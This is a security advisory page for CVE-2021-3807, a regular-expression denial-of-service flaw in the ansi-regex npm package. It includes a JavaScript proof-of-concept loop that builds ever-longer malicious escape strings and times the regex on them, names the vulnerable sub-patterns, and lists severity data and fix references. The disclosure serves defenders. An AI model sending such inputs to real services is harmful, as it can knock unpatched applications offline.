Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS05M3E4LWdxNjktd3Ftd80V3g

Inefficient Regular Expression Complexity in chalk/ansi-regex

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.

Proof of Concept

import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = "\u001B["+";".repeat(i*10000);
    ansiRegex().test(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*

Permalink: https://github.com/advisories/GHSA-93q8-gq69-wqmw
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05M3E4LWdxNjktd3Ftd80V3g
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: over 2 years ago
Updated: 7 months ago

CVSS Score: 7.5
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Identifiers: GHSA-93q8-gq69-wqmw, CVE-2021-3807
References:

• https://nvd.nist.gov/vuln/detail/CVE-2021-3807
• https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9
• https://huntr.dev/bounties/5b3cf33b-ede0-4398-9974-800876dfd994
• https://github.com/chalk/ansi-regex/issues/38#issuecomment-924086311
• https://app.snyk.io/vuln/SNYK-JS-ANSIREGEX-1583908
• https://github.com/chalk/ansi-regex/issues/38#issuecomment-925924774
• https://github.com/chalk/ansi-regex/releases/tag/v6.0.1
• https://www.oracle.com/security-alerts/cpuapr2022.html
• https://security.netapp.com/advisory/ntap-20221014-0002/
• https://github.com/chalk/ansi-regex/commit/419250fa510bf31b4cc672e76537a64f9332e1f1
• https://github.com/chalk/ansi-regex/commit/75a657da7af875b2e2724fd6331bf0a4b23d3c9a
• https://github.com/chalk/ansi-regex/commit/c3c0b3f2736b9c01feec0fef33980c43720dcde8
• https://github.com/advisories/GHSA-93q8-gq69-wqmw

Repository: https://github.com/chalk/ansi-regex
Blast Radius: 45.7

Affected Packages